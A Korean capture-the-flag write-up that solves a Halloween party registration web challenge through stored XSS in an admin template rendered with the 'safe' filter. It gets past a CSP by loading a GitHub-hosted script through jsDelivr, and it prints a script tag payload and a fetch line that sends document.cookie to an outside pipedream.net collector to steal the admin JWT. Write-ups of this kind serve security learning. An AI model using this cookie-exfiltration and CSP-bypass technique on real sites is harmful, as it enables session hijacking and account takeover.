할로윈 파티에 참여하기 위한 등록 양식이 있으며 양식 작성 후 SUBMIT시 승인을 기다리다는 응답이 온다.
index.js의 소스코드를 보면 halloween_name, email, costume_type, trick_or_treat 변수를 받아 db.party_request_add 함수를 호출한다.
router.post('/api/submit', (req, res) => {
const { halloween_name, email, costume_type, trick_or_treat } = req.body;
if (halloween_name && email && costume_type && trick_or_treat) {
return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
.then(() => {
res.send(response('Your request will be reviewed by our team!'));
bot.visit();
})
.catch(() => res.send(response('Something Went Wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
database.js의 db.party_request_add 함수 코드를 보면 party_requests 테이블에 halloween_name, email, costume_type, trick_or_treat prepared statment를 저장하고 있으며 Prepared Statement를 사용하고 있어 SQL 인젝션은 불가능 하다. 그러나 입력값에 대한 검증은 하지 않아 스크립트 구문은 입력할 수 있겠다라는 생각이 들었다.
async party_request_add(halloween_name, email, costume_type, trick_or_treat) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('INSERT INTO party_requests (halloween_name, email, costume_type, trick_or_treat) VALUES (?, ?, ?, ?)');
resolve((await stmt.run(halloween_name, email, costume_type, trick_or_treat)));
} catch(e) {
reject(e);
}
});
}
데이터베이스에 데이터를 삽입 후 bot.visit()를 실행한다. 여기서 puppeteer라는 Chrome/Chromium을 제어하기 위한 Node.js 라이브러리를 사용하고 있다. setCookie를 통해 JWT로 admin 토큰을 만든 후 admin cookie값을 가지고 admin 페이지와 admin/delete_all에 접근 한 다음 브라우저를 종료한다. JWT 토큰을 생성할 때 flag가 payload에 들어간다는 것을 알았고 admin의 토큰값을 구하면 된다고 생각했다. 처음에는 JWT 관련 취약점인가 생각했지만 별다른 것을 찾을 수 없었다.
const visit = async () => {
try {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
// admin JWT 생성
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:1337'
});
await page.goto('http://127.0.0.1:1337/admin', {
waitUntil: 'networkidle2',
timeout: 5000
});
await page.goto('http://127.0.0.1:1337/admin/delete_all', {
waitUntil: 'networkidle2',
timeout: 5000
});
setTimeout(() => {
browser.close();
}, 5000);
} catch(e) {
console.log(e);
}
};
admin.html 페이지 코드를 분석해보니 Halloween Name은 템플릿 태그인 {{ }}를 통해 동적으로 request 값에 halloween_name을 보여준다. 또한, safe 필터를 사용해 escape 필터가 적용되어 이스케이프 문자 처리를 하지 않도록 되어있다. 즉, 스크립트 특수문자인 <, >을 삽입해도 기본적으로 템플릿에서 escape 처리를 통해 <>로 변환하지 않고 <, >을 그대로 사용할 수 있다. 따라서, Halloween Name에 스크립트 구문을 삽입해 XSS 공격과 관련이 있을 수 있겠다 생각했다.
<html>
<head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css" />
<title>Admin panel</title>
</head>
<body>
<div class="container" style="margin-top: 20px">
{% for request in requests %}
<div class="card">
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
<div class="card-body">
<p class="card-title"><strong>Email Address</strong> : {{ request.email }}</p>
<p class="card-text"><strong>Costume Type </strong> : {{ request.costume_type }} </p>
<p class="card-text"><strong>Prefers tricks or treat </strong> : {{ request.trick_or_treat }} </p>
<button class="btn btn-primary">Accept</button>
<button class="btn btn-danger">Delete</button>
</div>
</div>
{% endfor %}
</div>
</body>
</html>
CSP 헤더를 보면 스크립트 태그 관련 출처는 https://cdn.jsdelivr.net/ 만 허용한다.
https://csp-evaluator.withgoogle.com/에서 CSP 우회가 가능한지 확인해본 결과 https://cdn.jsdeliver.net이 취약하다고 나온다.
https://cdn.jsdeliver.net 홈페이지에 들어가보면 github file를 로드할 수 있다고 한다.
내 github에 js 파일을 생성하고 나서 cdn.jsdeliver.net 하위 도메인으로 접근하면 깃허브 파일에 접근 할 수 있다. 이를 이용해 서버 → github 쿠키 값 탈취 자바스크립트 코드에 접근 → 서버에 cookie 값 전송을 통해 탈취하고자 한다.
먼저 자바스크립트의 fetch함수를 통해 cookie를 탈취하는 코드를 작성한다. fetch 함수는 서버에 네트워크를 요청을 보내고 정보를 받아오는 일을 한다.
그 다음 halloween_name에 스크립트 구문을 삽입해 요청한다. 서버에서 CSP에 스크립트 구문은 cdn.jsdeliver.net이 허용되므로 flag.js 파일을 요청한다.
- 데이터베이스에 halloween_name을 <script src="https://cdn.jsdelivr.net/gh/cseswu17/HTB/flag.js"></script> 값으로 저장
- bot.js() 실행 시 admin 페이지가 요청이 되어 halloween_name이 동적으로 렌더링 되면서 서버에서 https://cdn.jsdelivr.net/gh/cseswu17/HTB/flag.js로 요청을 보냄
- fetch("https://eov8pxxob54rvhw.m.pipedream.net/?cookie"+document.cookie);를 응답값으로 받고 서버에서 https://eov8pxxob54rvhw.m.pipedream.net에 쿠키값을 담아 요청을 보냄
- RequestBin에서 쿠키값을 확인
RequestBin에서 요청을 온 cookie를 확인 할 수 있다.
cookie값은 JWT로 생성되어 있으므로 https://jwt.io/ 에서 디코딩하면 Flag를 획득할 수 있다.